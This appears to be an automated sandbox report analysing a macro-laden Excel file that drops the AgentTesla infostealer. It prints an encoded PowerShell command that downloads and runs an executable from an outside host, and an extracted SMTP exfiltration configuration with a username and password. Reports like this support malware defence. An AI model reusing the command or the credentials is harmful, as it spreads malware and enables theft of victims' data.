Analysis
-
max time kernel
135s -
max time network
129s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
22-03-2021 14:14
Static task
static1
Behavioral task
behavioral1
Sample
MV TRIADES.xlsm
Resource
win7v20201028
Behavioral task
behavioral2
Sample
MV TRIADES.xlsm
Resource
win10v20201028
General
-
Target
MV TRIADES.xlsm
-
Size
420KB
-
MD5
f7f66672f19f2dabe4f7269e32eb8540
-
SHA1
688ba6fb074142755fecd74056278b145a282f5a
-
SHA256
9664740123170b912430759af6cfad9ff784ccd266fe93909022093beff051c7
-
SHA512
b6a3f0df23c731b57ec21ed74bba187a46f49fb35c35a089417b17cc2dc1fed3b4dba04584b1ccb26df7fb7e29459a268c25d4d0df918b9eb0a319303aff360e
Malware Config
Extracted
http://specfloors.net/dev/income.exe
Extracted
agenttesla
Protocol: smtp- Host:
smtp.jiratane.com - Port:
587 - Username:
mail@jiratane.com - Password:
Olaola123@
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 200 4004 cmd.exe EXCEL.EXE -
AgentTesla Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1748-27-0x0000000000400000-0x000000000043C000-memory.dmp family_agenttesla behavioral2/memory/1748-28-0x000000000043766E-mapping.dmp family_agenttesla -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 16 1404 powershell.exe -
Executes dropped EXE 2 IoCs
Processes:
tNDFx.exetNDFx.exepid process 188 tNDFx.exe 1748 tNDFx.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 18 IoCs
Processes:
tNDFx.exepid process 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
tNDFx.exedescription pid process target process PID 188 set thread context of 1748 188 tNDFx.exe tNDFx.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1856 188 WerFault.exe tNDFx.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 3752 timeout.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Processes:
tNDFx.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 tNDFx.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tNDFx.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tNDFx.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tNDFx.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4004 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exetNDFx.exetNDFx.exepid process 1404 powershell.exe 1404 powershell.exe 1404 powershell.exe 188 tNDFx.exe 188 tNDFx.exe 188 tNDFx.exe 1748 tNDFx.exe 1748 tNDFx.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exetNDFx.exetNDFx.exedescription pid process Token: SeDebugPrivilege 1404 powershell.exe Token: SeDebugPrivilege 188 tNDFx.exe Token: SeDebugPrivilege 1748 tNDFx.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 4004 EXCEL.EXE 4004 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 15 IoCs
Processes:
EXCEL.EXEtNDFx.exepid process 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 4004 EXCEL.EXE 1748 tNDFx.exe -
Suspicious use of WriteProcessMemory 21 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.exetNDFx.execmd.exedescription pid process target process PID 4004 wrote to memory of 200 4004 EXCEL.EXE cmd.exe PID 4004 wrote to memory of 200 4004 EXCEL.EXE cmd.exe PID 200 wrote to memory of 1404 200 cmd.exe powershell.exe PID 200 wrote to memory of 1404 200 cmd.exe powershell.exe PID 1404 wrote to memory of 188 1404 powershell.exe tNDFx.exe PID 1404 wrote to memory of 188 1404 powershell.exe tNDFx.exe PID 1404 wrote to memory of 188 1404 powershell.exe tNDFx.exe PID 188 wrote to memory of 2700 188 tNDFx.exe cmd.exe PID 188 wrote to memory of 2700 188 tNDFx.exe cmd.exe PID 188 wrote to memory of 2700 188 tNDFx.exe cmd.exe PID 2700 wrote to memory of 3752 2700 cmd.exe timeout.exe PID 2700 wrote to memory of 3752 2700 cmd.exe timeout.exe PID 2700 wrote to memory of 3752 2700 cmd.exe timeout.exe PID 188 wrote to memory of 1748 188 tNDFx.exe tNDFx.exe PID 188 wrote to memory of 1748 188 tNDFx.exe tNDFx.exe PID 188 wrote to memory of 1748 188 tNDFx.exe tNDFx.exe PID 188 wrote to memory of 1748 188 tNDFx.exe tNDFx.exe PID 188 wrote to memory of 1748 188 tNDFx.exe tNDFx.exe PID 188 wrote to memory of 1748 188 tNDFx.exe tNDFx.exe PID 188 wrote to memory of 1748 188 tNDFx.exe tNDFx.exe PID 188 wrote to memory of 1748 188 tNDFx.exe tNDFx.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\MV TRIADES.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AcwBwAGUAYwBmAGwAbwBvAHIAcwAuAG4AZQB0AC8AZABlAHYALwBpAG4AYwBvAG0AZQAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAdABOAEQARgB4AC4AZQB4AGUAJwApADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBhAHAAcABkAGEAdABhAFwAdABOAEQARgB4AC4AZQB4AGUA2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AcwBwAGUAYwBmAGwAbwBvAHIAcwAuAG4AZQB0AC8AZABlAHYALwBpAG4AYwBvAG0AZQAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAdABOAEQARgB4AC4AZQB4AGUAJwApADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBhAHAAcABkAGEAdABhAFwAdABOAEQARgB4AC4AZQB4AGUA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\tNDFx.exe"C:\Users\Admin\AppData\Roaming\tNDFx.exe"4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 15⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout 16⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\tNDFx.exe"C:\Users\Admin\AppData\Roaming\tNDFx.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 188 -s 25205⤵
- Program crash
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\tNDFx.exeMD5
b2ab5d8639c89d42acbdc362b86aca91
SHA184a55e89e1b5731a0dc1e8475e148b7c3ebb8b01
SHA2567a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa
SHA512f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630
-
C:\Users\Admin\AppData\Roaming\tNDFx.exeMD5
b2ab5d8639c89d42acbdc362b86aca91
SHA184a55e89e1b5731a0dc1e8475e148b7c3ebb8b01
SHA2567a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa
SHA512f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630
-
C:\Users\Admin\AppData\Roaming\tNDFx.exeMD5
b2ab5d8639c89d42acbdc362b86aca91
SHA184a55e89e1b5731a0dc1e8475e148b7c3ebb8b01
SHA2567a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa
SHA512f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630
-
memory/188-26-0x0000000007970000-0x0000000007971000-memory.dmpFilesize
4KB
-
memory/188-23-0x0000000004690000-0x00000000046D6000-memory.dmpFilesize
280KB
-
memory/188-22-0x0000000006ED0000-0x0000000006ED1000-memory.dmpFilesize
4KB
-
memory/188-21-0x0000000005410000-0x0000000005411000-memory.dmpFilesize
4KB
-
memory/188-19-0x00000000003B0000-0x00000000003B1000-memory.dmpFilesize
4KB
-
memory/188-18-0x0000000073CA0000-0x000000007438E000-memory.dmpFilesize
6.9MB
-
memory/188-15-0x0000000000000000-mapping.dmp
-
memory/200-7-0x0000000000000000-mapping.dmp
-
memory/1404-10-0x00000281ED000000-0x00000281ED001000-memory.dmpFilesize
4KB
-
memory/1404-8-0x0000000000000000-mapping.dmp
-
memory/1404-13-0x00000281ED063000-0x00000281ED065000-memory.dmpFilesize
8KB
-
memory/1404-12-0x00000281ED060000-0x00000281ED062000-memory.dmpFilesize
8KB
-
memory/1404-11-0x00000281ED2F0000-0x00000281ED2F1000-memory.dmpFilesize
4KB
-
memory/1404-14-0x00000281ED066000-0x00000281ED068000-memory.dmpFilesize
8KB
-
memory/1404-9-0x00007FFDFC710000-0x00007FFDFD0FC000-memory.dmpFilesize
9.9MB
-
memory/1748-30-0x0000000073CA0000-0x000000007438E000-memory.dmpFilesize
6.9MB
-
memory/1748-37-0x00000000055E0000-0x00000000055E1000-memory.dmpFilesize
4KB
-
memory/1748-41-0x0000000005231000-0x0000000005232000-memory.dmpFilesize
4KB
-
memory/1748-40-0x00000000062D0000-0x00000000062D1000-memory.dmpFilesize
4KB
-
memory/1748-27-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
-
memory/1748-28-0x000000000043766E-mapping.dmp
-
memory/1748-39-0x0000000006370000-0x0000000006371000-memory.dmpFilesize
4KB
-
memory/1748-38-0x0000000005E80000-0x0000000005E81000-memory.dmpFilesize
4KB
-
memory/1748-34-0x0000000005230000-0x0000000005231000-memory.dmpFilesize
4KB
-
memory/1856-36-0x00000000047D0000-0x00000000047D1000-memory.dmpFilesize
4KB
-
memory/2700-24-0x0000000000000000-mapping.dmp
-
memory/3752-25-0x0000000000000000-mapping.dmp
-
memory/4004-4-0x00007FFDE1900000-0x00007FFDE1910000-memory.dmpFilesize
64KB
-
memory/4004-2-0x00007FFDE1900000-0x00007FFDE1910000-memory.dmpFilesize
64KB
-
memory/4004-3-0x00007FFDE1900000-0x00007FFDE1910000-memory.dmpFilesize
64KB
-
memory/4004-6-0x00007FFDE1900000-0x00007FFDE1910000-memory.dmpFilesize
64KB
-
memory/4004-5-0x00007FFE08100000-0x00007FFE08737000-memory.dmpFilesize
6.2MB